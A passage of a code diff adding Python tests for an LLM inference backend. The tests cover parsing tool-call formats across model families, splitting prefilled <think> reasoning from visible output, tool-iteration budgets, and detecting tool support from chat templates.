+    assert not any(t.lstrip().startswith('{"name') for t in content_texts), content_texts[:1]
+    assert calls and calls[0][0] == "python"
+    assert len(calls[0][1].get("code", "")) > cap
+
+
+def test_gguf_bare_json_call_not_replayed_in_next_turn_content(monkeypatch):
+    """After a bare-JSON call executes, the kept assistant message must not carry the raw call as content."""
+
+    import copy
+
+    first_stream = [
+        _sse({"content": '{"name":"web_search","parameters":{"query":"cats"}}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "RESULT")
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    assert len(payloads) >= 2
+    asst = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"]
+    assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
+
+
+def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(monkeypatch):
+    """Auto-Heal OFF keeps a truncated enabled-name fragment visible; ON suppresses it (strip gated on auto_heal_tool_calls)."""
+
+    trunc = '{"name":"web_search","parameters":{"query":"weather'
+
+    def _run(auto_heal):
+        stream = [_sse({"content": trunc}), _done()]
+        backend = _make_backend(monkeypatch, [stream], [])
+        calls: list[tuple[str, dict]] = []
+        monkeypatch.setattr(
+            "core.inference.tools.execute_tool",
+            lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+        )
+        events = list(
+            backend.generate_chat_completion_with_tools(
+                messages = [{"role": "user", "content": "x"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                max_tool_iterations = 1,
+                auto_heal_tool_calls = auto_heal,
+            )
+        )
+        contents = "".join(e.get("text", "") for e in events if e.get("type") == "content")
+        return calls, contents
+
+    calls_off, contents_off = _run(False)
+    assert calls_off == [], calls_off
+    assert "web_search" in contents_off, contents_off
+
+    calls_on, contents_on = _run(True)
+    assert calls_on == [], calls_on
+    assert "web_search" not in contents_on, contents_on
+
+
+def test_gguf_valid_tool_calls_respect_max_tool_iterations(monkeypatch):
+    """Re-prompt slots must not extend the tool budget: stop after ``max_tool_iterations`` executed rounds."""
+    # More tool-call streams than the budget: leaked re-prompt slots would run 2+3=5 rounds;
+    # honouring the budget stops after 2, then a tool-less final-answer pass.
+    streams = [
+        _structured_tool_call("web_search", {"query": f"q{i}"}, f"call_{i}") for i in range(6)
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search repeatedly"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    # Exactly two executed tool rounds, then one final-answer pass.
+    assert len(calls) == 2, calls
+    assert len(payloads) == 3, len(payloads)
+    # The final pass is the budget-exhausted nudge and carries no tools.
+    assert _tool_names(payloads[2]) == [], _tool_names(payloads[2])
+    assert any(
+        m.get("role") == "user" and "used all available tool calls" in m.get("content", "")
+        for m in payloads[2]["messages"]
+    ), payloads[2]["messages"]
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index a7ceb49ed9..ce5688be3e 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -59,6 +59,7 @@ from models.inference import (
     ResponsesUsage,
 )
 from routes.inference import (
+    _ResponsesReasoningExtractor,
     _SameTaskStreamingResponse,
     _build_chat_request,
     _chat_tool_calls_to_responses_output,
@@ -795,6 +796,7 @@ class TestResponsesNonStreamingAdapter:
 
     def test_monitor_records_translated_visible_text(self, monkeypatch):
         import routes.inference as inf_mod
+        import routes.inference as inf_mod
 
         async def fake_chat_completions(chat_req, request):
             assert request.state.skip_api_monitor is True
@@ -1988,6 +1990,122 @@ class TestTranslatedMessagesValidate:
             ChatMessage(**m.model_dump(exclude_none = True))
 
 
+# reasoning_prefilled: Qwen3/GLM enable_thinking templates prefill an unclosed <think>, so generation
+# begins inside the think block and emits only the closing </think>; extractor starts in reasoning.
+class TestReasoningPrefilledExtractor:
+    def test_prefilled_single_feed_splits_lone_close(self):
+        # T1: reasoning...</think>answer with a prefilled (unseen) open tag.
+        reasoning, visible = _extract_responses_reasoning(
+            "plan</think>answer",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "plan"
+        assert visible == "answer"
+
+    def test_prefilled_never_closed_is_all_reasoning(self):
+        # T2: truncated mid-thought (no </think>) -> all reasoning (GGUF parity).
+        reasoning, visible = _extract_responses_reasoning(
+            "still thinking with no close",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "still thinking with no close"
+        assert visible == ""
+
+    def test_prefilled_close_split_across_feeds(self):
+        # T3: </think> straddles two feed() calls; holdback resolves it.
+        ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True)
+        r1, v1 = ex.feed("plan</th")
+        r2, v2 = ex.feed("ink>ans")
+        fr, fv = ex.finish()
+        assert (r1 + r2 + fr) == "plan"
+        assert (v1 + v2 + fv) == "ans"
+
+    def test_prefilled_close_split_one_char_per_feed(self):
+        # T4: every char in its own feed still splits correctly.
+        ex = _ResponsesReasoningExtractor(parse_think_markers = True, reasoning_prefilled = True)
+        reasoning, visible = "", ""
+        for ch in "plan</think>x":
+            r, v = ex.feed(ch)
+            reasoning += r
+            visible += v
+        fr, fv = ex.finish()
+        assert (reasoning + fr) == "plan"
+        assert (visible + fv) == "x"
+
+    def test_prefilled_empty_generation(self):
+        # T5: nothing generated.
+        reasoning, visible = _extract_responses_reasoning(
+            "",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == ""
+        assert visible == ""
+
+    def test_prefilled_whitespace_after_close_is_visible(self):
+        # T6: Qwen commonly emits </think>\n\n before the answer.
+        reasoning, visible = _extract_responses_reasoning(
+            "plan</think>\n\nanswer",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "plan"
+        assert visible == "\n\nanswer"
+
+    def test_prefilled_stray_open_tag_is_suppressed(self):
+        # T7: a re-emitted literal <think> inside prefilled reasoning is dropped, not leaked.
+        reasoning, visible = _extract_responses_reasoning(
+            "a<think>b</think>c",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "ab"
+        assert visible == "c"
+        assert "<think>" not in reasoning
+
+    def test_prefilled_close_at_start_empty_reasoning(self):
+        # T8: model closed immediately (empty reasoning) then answered.
+        reasoning, visible = _extract_responses_reasoning(
+            "</think>hi",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == ""
+        assert visible == "hi"
+
+    def test_not_prefilled_lone_close_preserves_current_behavior(self):
+        # T9: without prefilled, a lone </think> keeps pre-fix behavior (reasoning stays visible, tag dropped).
+        reasoning, visible = _extract_responses_reasoning(
+            "reasoning</think>ans",
+            parse_think_markers = True,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == ""
+        assert visible == "reasoningans"
+
+    def test_not_prefilled_full_pair_still_splits(self):
+        # T10: normal explicit <think>..</think> (GGUF / Harmony) unchanged.
+        reasoning, visible = _extract_responses_reasoning(
+            "<think>r</think>v",
+            parse_think_markers = True,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == "r"
+        assert visible == "v"
+
+    def test_prefilled_ignored_when_markers_not_parsed(self):
+        # T11: a non-reasoning model (parse_think_markers False) passes text straight through.
+        reasoning, visible = _extract_responses_reasoning(
+            "just an answer",
+            parse_think_markers = False,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == ""
+        assert visible == "just an answer"
+
+
 # =====================================================================
 # Streaming passthrough healing — text-form calls promoted in order
 # =====================================================================
diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py
index 671af93708..643d64af7a 100644
--- a/studio/backend/tests/test_safetensors_capability_advertise.py
+++ b/studio/backend/tests/test_safetensors_capability_advertise.py
@@ -127,9 +127,8 @@ def test_detect_safetensors_features_gptoss_disables_tools():
     assert flags["supports_tools"] is False
 
 
-# Llama-3 / Mistral advertise tools but emit <|python_tag|> / [TOOL_CALLS],
-# which our parser can't read. The route helper must not flip supports_tools=True
-# for them, else the UI enables a pill the agentic loop can't honour.
+# Llama-3 / Mistral / Gemma 4 tool-call formats are parser-supported, so supports_tools stays True;
+# only templates matching none of the known markers are suppressed.
 
 LLAMA3_TEMPLATE = """
 {%- if tools %}
@@ -161,27 +160,106 @@ MISTRAL_TEMPLATE = """
 {%- endfor %}
 """
 
+GEMMA4_TEMPLATE = """
+{%- if tools %}
+  {{- 'Tools available. Emit calls as ' }}
+  {{- '<|tool_call>call:NAME{key:<|"|>val<|"|>}<tool_call|>' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
 
-def test_detect_safetensors_features_llama3_template_suppresses_tools():
-    """Llama-3 emits <|python_tag|>; safetensors loop cannot parse it."""
+
+def test_detect_safetensors_features_llama3_template_keeps_tools_on():
+    """Llama-3 emits <|python_tag|>; parser now supports it."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
     flags = _detect_safetensors_features(backend, LLAMA3_TEMPLATE)
-    assert flags["supports_tools"] is False
+    assert flags["supports_tools"] is True
 
 
-def test_detect_safetensors_features_mistral_template_suppresses_tools():
-    """Mistral emits [TOOL_CALLS]; safetensors loop cannot parse it."""
+def test_detect_safetensors_features_mistral_template_keeps_tools_on():
+    """Mistral emits [TOOL_CALLS]; parser now supports it."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/mistral-7b-instruct-v0.3")
     flags = _detect_safetensors_features(backend, MISTRAL_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_gemma4_template_keeps_tools_on():
+    """Gemma 4 emits <|tool_call>; parser now supports it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/gemma-4-E2B-it-UD-MLX-4bit")
+    flags = _detect_safetensors_features(backend, GEMMA4_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+LLAMA3_2_BARE_JSON_TEMPLATE = """
+{%- if tools %}
+  {{- 'Given the following functions, respond with JSON for a function call.' }}
+  {{- 'Respond in the format {"name": function name, "parameters": dictionary}.' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+{%- for message in messages %}
+  {%- if 'tool_calls' in message %}
+    {{- '{"name": "' + message.tool_calls[0].function.name + '", '}}
+    {{- '"parameters": ' + (message.tool_calls[0].function.arguments | tojson) + '}' }}
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_llama3_2_bare_json_keeps_tools_on():
+    """Llama-3.2 bare JSON is supported, so the pill stays enabled."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, LLAMA3_2_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+MINICPM5_ATTRIBUTE_TEMPLATE = """
+{%- if tools %}
+  {{- 'Available tools. Emit calls as ' }}
+  {{- '<function name="NAME"><parameter name="key">value</parameter></function>' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
+
+
+def test_detect_safetensors_features_attribute_function_form_keeps_tools_on():
+    """The attribute form ``<function name="...">`` must be whitelisted or the pill is wrongly suppressed."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "openbmb/MiniCPM-5")
+    flags = _detect_safetensors_features(backend, MINICPM5_ATTRIBUTE_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_unknown_format_suppresses_tools():
+    """Tools advertised with no known marker must be suppressed."""
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}<|im_start|>system\n"
+        "Emit tool calls as JSON-RPC notifications inside the response."
+        "<|im_end|>{%- endif %}"
+    )
+    backend = SimpleNamespace(active_model_name = "custom/unknown-tool-format")
+    flags = _detect_safetensors_features(backend, tpl)
     assert flags["supports_tools"] is False
 
 
 def test_detect_safetensors_features_qwen_tool_call_keeps_tools_on():
-    """Sanity check: gate only suppresses non-Qwen formats."""
+    """Sanity check: Qwen <tool_call> marker still flips supports_tools."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Qwen3-0.6B")
@@ -454,3 +532,130 @@ def test_route_layer_emits_supports_tools_true_for_qwen3_safetensors():
     assert flags["supports_tools"] is True
     assert flags["supports_reasoning"] is True
     assert flags["supports_preserve_thinking"] is True
+
+
+# Templates advertising tools whose ``{"name":`` example is pretty-printed or JSON-escaped.
+_WHITESPACE_BARE_JSON_TEMPLATE = (
+    "{%- if tools %}\n"
+    "To call a tool, output JSON of the form:\n"
+    '{ "name" : "function_name", "parameters": { } }\n'
+    "{%- endif %}\n"
+    "{{ messages }}"
+)
+_ESCAPED_BARE_JSON_TEMPLATE = (
+    "{%- if tools %}\n"
+    'Respond with {\\"name\\": \\"fn\\", \\"parameters\\": {}}\n'
+    "{%- endif %}\n"
+    "{{ messages }}"
+)
+_TOOLS_ADVERTISED_NO_PARSEABLE_FORM = (
+    "{%- if tools %}\nYou may use the available tools.\n{%- endif %}\n{{ messages }}"
+)
+
+
+def test_detect_safetensors_features_keeps_tools_for_pretty_printed_bare_json():
+    # Pretty-printed bare-JSON (``{ "name" :``) keeps supports_tools: parser accepts the whitespace.
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _WHITESPACE_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_keeps_tools_for_escaped_bare_json():
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _ESCAPED_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_drops_tools_when_no_parseable_form():
+    # Negative control: tools advertised but no parser-recognised emission form -> pill dropped.
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _TOOLS_ADVERTISED_NO_PARSEABLE_FORM)
+    assert flags["supports_tools"] is False
+
+
+def test_detect_safetensors_features_keeps_tools_for_function_alias_bare_json():
+    # The {"function":...} bare-JSON alias keeps supports_tools, mirroring {"name":...}.
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}\n"
+        'Respond with {"function": "fn", "parameters": {}}\n'
+        "{%- endif %}\n"
+        "{{ messages }}"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, tpl)
+    assert flags["supports_tools"] is True
+
+
+# _sf_reasoning_prefill_mode gates the prefilled-<think> extractor for enable_thinking models.
+class TestSafetensorsReasoningPrefillGate:
+    # Qwen3-style template with the standard <think>/</think> markers.
+    _QWEN_TPL = "{% if enable_thinking %}<think>{% endif %}...</think>..."
+    # gemma-style bespoke reasoning channel -- no standard markers.
+    _GEMMA_TPL = "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought<channel|>"
+
+    def _features(self, **over):
+        base = {
+            "supports_reasoning": True,
+            "reasoning_always_on": False,
+            "reasoning_style": "enable_thinking",
+        }
+        base.update(over)
+        return base
+
+    def test_g1_enable_thinking_true(self):
+        # G1: Qwen3.5 template + explicit enable_thinking=True -> prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, self._QWEN_TPL) is True
+
+    def test_g2_enable_thinking_none_defaults_on(self):
+        # G2: default request (None) -> prefilled (Qwen3/GLM templates default on).
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), None, self._QWEN_TPL) is True
+
+    def test_g3_enable_thinking_false(self):
+        # G3: thinking explicitly off -> not prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), False, self._QWEN_TPL) is False
+
+    def test_g4_gpt_oss_reasoning_effort_excluded(self):
+        # G4: gpt-oss uses explicit tags via HarmonyTextStreamer -> normal mode.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_style = "reasoning_effort")
+        assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
+
+    def test_g5_enable_thinking_effort_included(self):
+        # G5: GLM-style enable_thinking_effort also prefills.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_style = "enable_thinking_effort")
+        assert _sf_reasoning_prefill_mode(feats, None, self._QWEN_TPL) is True
+
+    def test_g6_non_reasoning_model(self):
+        # G6: no reasoning capability -> never prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(supports_reasoning = False, reasoning_style = None)
+        assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
+
+    def test_g7_reasoning_always_on(self):
+        # G7: hardcoded-<think> template -> prefilled regardless of the flag.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_always_on = True)
+        assert _sf_reasoning_prefill_mode(feats, False, self._QWEN_TPL) is True
+
+    def test_g8_gemma_bespoke_channel_excluded(self):
+        # G8: gemma's <|think|>/<|channel> format has no </think> -> NOT prefilled (else the
+        # whole answer is swallowed as reasoning). Regression guard.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, self._GEMMA_TPL) is False
+
+    def test_g9_missing_template_not_prefilled(self):
+        # G9: no template available -> conservative (not prefilled).
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, None) is False
diff --git a/studio/backend/tests/test_safetensors_reasoning_stream.py b/studio/backend/tests/test_safetensors_reasoning_stream.py
new file mode 100644
index 0000000000..9158d1ad5e
--- /dev/null
+++ b/studio/backend/tests/test_safetensors_reasoning_stream.py
@@ -0,0 +1,182 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Safetensors/MLX reasoning-block parity with GGUF.
+
+enable_thinking templates prefill an unclosed ``<think>``, so the stream must split the leading
+text into ``reasoning_content`` deltas (per turn, monitor gets visible text only). Replays a copy
+of ``sf_tool_stream``'s reasoning loop from routes/inference.py against synthetic events.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from routes.inference import (
+    _ResponsesReasoningExtractor,
+    _sf_reasoning_prefill_mode,
+    _strip_tool_xml_for_display,
+)
+
+
+def _replay_sf_reasoning_stream(events: list[dict], *, prefilled: bool) -> dict:
+    """Mirror sf_tool_stream's reasoning loop: diff cumulative snapshots, reset (flushing) on turn end."""
+    prev_text = ""
+    extractor = _ResponsesReasoningExtractor(
+        parse_think_markers = True, reasoning_prefilled = prefilled
+    )
+    reasoning_deltas: list[str] = []
+    visible_deltas: list[str] = []
+    monitor: list[str] = []
+    tool_starts: list[dict] = []
+    order: list[str] = []  # "reasoning" | "visible" | "tool_start" sequence
+
+    def _flush():
+        fr, fv = extractor.finish()
+        if fr:
+            reasoning_deltas.append(fr)
+            order.append("reasoning")
+        if fv:
+            visible_deltas.append(fv)
+            monitor.append(fv)
+            order.append("visible")
+
+    for event in events:
+        etype = event["type"]
+        if etype == "status":
+            if not event["text"]:
+                _flush()
+                prev_text = ""
+                extractor = _ResponsesReasoningExtractor(
+                    parse_think_markers = True, reasoning_prefilled = prefilled
+                )
+            continue
+        if etype in ("tool_start", "tool_end"):
+            if etype == "tool_start":
+                _flush()
+                prev_text = ""
+                extractor = _ResponsesReasoningExtractor(
+                    parse_think_markers = True, reasoning_prefilled = prefilled
+                )
+                tool_starts.append(event)
+                order.append("tool_start")
+            continue
+        clean = _strip_tool_xml_for_display(event.get("text", ""), auto_heal_tool_calls = True)
+        new_text = clean[len(prev_text) :]
+        prev_text = clean
+        if not new_text:
+            continue
+        r, v = extractor.feed(new_text)
+        if r:
+            reasoning_deltas.append(r)
+            order.append("reasoning")
+        if v:
+            visible_deltas.append(v)
+            monitor.append(v)
+            order.append("visible")
+    _flush()
+    return {
+        "reasoning": "".join(reasoning_deltas),
+        "visible": "".join(visible_deltas),
+        "monitor": "".join(monitor),
+        "tool_starts": tool_starts,
+        "order": order,
+    }
+
+
+def test_s1_plain_stream_splits_prefilled_reasoning():
+    # S1: plain/MLX single turn -> reasoning delta + visible delta; monitor visible-only.
+    events = [
+        {"type": "content", "text": "Let me compute 17*23"},
+        {"type": "content", "text": "Let me compute 17*23 = 391</think>The answer is 391."},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert out["reasoning"] == "Let me compute 17*23 = 391"
+    assert out["visible"] == "The answer is 391."
+    assert out["monitor"] == "The answer is 391."
+    assert "<think>" not in out["reasoning"] and "</think>" not in out["visible"]
+
+
+def test_s2_reasoning_flushed_before_tool_start():
+    # S2: reasoning streamed as reasoning_content, then flushed BEFORE tool_start.
+    events = [
+        {"type": "content", "text": "I should search"},
+        {"type": "content", "text": "I should search Sydney weather</think>"},
+        {"type": "tool_start", "tool_name": "web_search", "tool_call_id": "c0"},
+        {"type": "tool_end", "tool_name": "web_search", "tool_call_id": "c0"},
+        {"type": "status", "text": ""},
+        {"type": "content", "text": "Found it</think>Sydney is 21C today."},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    # Both turns' reasoning surfaced, answer only from turn 2.
+    assert "I should search Sydney weather" in out["reasoning"]
+    assert "Found it" in out["reasoning"]
+    assert out["visible"] == "Sydney is 21C today."
+    assert out["monitor"] == "Sydney is 21C today."
+    # Ordering: the pre-tool reasoning is emitted before the tool_start.
+    assert out["order"].index("reasoning") < out["order"].index("tool_start")
+
+
+def test_s3_extractor_resets_each_turn():
+    # S3: multi-turn -> the two turns' reasoning are distinct (fresh extractor each).
+    events = [
+        {"type": "content", "text": "turn1 thoughts</think>partial"},
+        {"type": "status", "text": ""},
+        {"type": "content", "text": "turn2 thoughts</think>final answer"},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert out["reasoning"] == "turn1 thoughtsturn2 thoughts"
+    assert out["visible"] == "partialfinal answer"
+
+
+def test_s4_harmony_full_tags_normal_mode():
+    # S4: gpt-oss / explicit-tag models use normal mode (prefilled=False).
+    events = [{"type": "content", "text": "<think>reasoning here</think>visible answer"}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["reasoning"] == "reasoning here"
+    assert out["visible"] == "visible answer"
+
+
+def test_s5_thinking_off_no_reasoning_deltas():
+    # S5: thinking disabled -> not prefilled, no </think>, all content is visible.
+    events = [{"type": "content", "text": "Just the plain answer, no thinking."}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["reasoning"] == ""
+    assert out["visible"] == "Just the plain answer, no thinking."
+    assert out["monitor"] == "Just the plain answer, no thinking."
+
+
+_THINK_TPL = "...{% if enable_thinking %}<think>{% endif %}...</think>..."
+
+
+def test_s6_reasoning_effort_none_disables_prefill_for_enable_thinking_effort():
+    # GLM-5.2 enable_thinking_effort + reasoning_effort="none" disables thinking like
+    # enable_thinking=False, so prefilled must be OFF (else the answer is swallowed into reasoning).
+    feats = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "none") is False
+    # Thinking on (effort level or default) still prefills.
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "high") is True
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, None) is True
+    # An explicit enable_thinking=False also disables (unchanged).
+    assert _sf_reasoning_prefill_mode(feats, False, _THINK_TPL, "high") is False
+    # reasoning_always_on wins regardless of reasoning_effort.
+    always = {**feats, "reasoning_always_on": True}
+    assert _sf_reasoning_prefill_mode(always, None, _THINK_TPL, "none") is True
+    # Plain enable_thinking models (Qwen) have no "none" sentinel; unaffected.
+    plain = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
+    assert _sf_reasoning_prefill_mode(plain, None, _THINK_TPL, "none") is True
+
+    # End-to-end: with prefilled=False, a plain no-</think> answer stays visible.
+    events = [{"type": "content", "text": "The capital of France is Paris."}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["visible"] == "The capital of France is Paris."
+    assert out["reasoning"] == ""
+    # The buggy prefilled=True path is what swallowed the whole answer (guard the delta).
+    swallowed = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert swallowed["visible"] == ""
+    assert swallowed["reasoning"] == "The capital of France is Paris."
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 3f2d49f0dd..984d5f8ae9 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -138,6 +138,20 @@ class TestParser:
         assert len(result) == 1
         assert "print('hi')" in result[0]["function"]["arguments"]
 
+    def test_xml_param_preserves_leading_indentation(self):
+        # Only the wrapping newline is trimmed, so code indentation survives.
+        text = (
+            "<function=python><parameter=code>\n"
+            "    indented = 1\n"
+            "    more\n"
+            "</parameter></function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "code": "    indented = 1\n    more"
+        }
+
     def test_function_signal_inside_parameter_is_literal(self):
         text = (
             "<function=python>"
@@ -189,6 +203,13 @@ class TestParser:
         text = 'before <|tool_call>call:terminal{command:"ls"}<tool_call|> after'
         assert strip_tool_markup(text) == "before  after"
 
+    def test_strip_named_mistral_call_consumes_trailing_eos(self):
+        # The named [TOOL_CALLS]name{json} shape must eat the optional trailing </s>.
+        text = '[TOOL_CALLS]web_search{"query":"cats"}</s>'
+        assert strip_tool_markup(text) == ""
+        text = '[TOOL_CALLS]web_search{"query":"cats"}</s> and then'
+        assert strip_tool_markup(text) == " and then"
+
     def test_strip_markup_unclosed_final(self):
         text = "before <tool_call>{partial"
         # final=True drops the trailing run.
@@ -214,6 +235,376 @@ class TestParser:
             == "before "
         )
 
+    def test_streaming_strip_keeps_prose_after_function_xml_with_literal_marker(self):
+        # A literal <function=...> in a value is data: the strip closes at the REAL </function>, keeping prose.
+        raw = (
+            "pref <function=python><parameter=code>"
+            'print("<function=x>")</parameter></function> tail'
+        )
+        assert strip_tool_markup_streaming(raw) == "pref  tail"
+        # Streaming and final strip agree on the visible text (final also trims).
+        assert strip_tool_markup_streaming(raw) == strip_tool_markup(raw, final = True)
+
+    def test_streaming_strip_drops_leading_magistral_reasoning(self):
+        # Magistral reasoning is a leading [THINK]...[/THINK] block; the streaming strip must drop it.
+        closed = "[THINK]Let me think. 2+2 is 4.[/THINK]The answer is 4."
+        assert strip_tool_markup_streaming(closed) == "The answer is 4."
+        assert strip_tool_markup_streaming(closed) == strip_tool_markup(closed, final = True)
+        # Unclosed mid-stream reasoning is held; cleaned text grows only after [/THINK].
+        assert strip_tool_markup_streaming("[THINK]still thinking") == ""
+        assert strip_tool_markup_streaming("[THINK]r[/THINK]The") == "The"
+        assert strip_tool_markup_streaming("[THINK]r[/THINK]The answer") == "The answer"
+        # A non-leading [THINK] is ordinary prose, left untouched.
+        assert strip_tool_markup_streaming("hi [THINK] later") == "hi [THINK] later"
+
+
+class TestParserMultiFormat:
+    """Shared-parser coverage: every family's emission maps to the same OpenAI shape."""
+
+    # Llama-3
+
+    def test_llama3_python_tag_dot_call(self):
+        # Llama-3 built-in tools: <|python_tag|>NAME.call(k="v", ...).
+        import json
+
+        text = '<|python_tag|>brave_search.call(query="weather in Tokyo")'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "brave_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "weather in Tokyo"}
+
+    def test_llama3_python_tag_dot_call_multi_arg(self):
+        import json
+
+        text = "<|python_tag|>get_weather.call(" 'location="Tokyo", units="celsius", days=5)'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"location": "Tokyo", "units": "celsius", "days": 5}
+
+    def test_llama3_python_tag_json_form(self):
+        import json
+
+        text = '<|python_tag|>{"name":"web_search","parameters":{"query":"hi","n":5}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "hi", "n": 5}
+
+    def test_llama3_python_tag_json_form_with_eom(self):
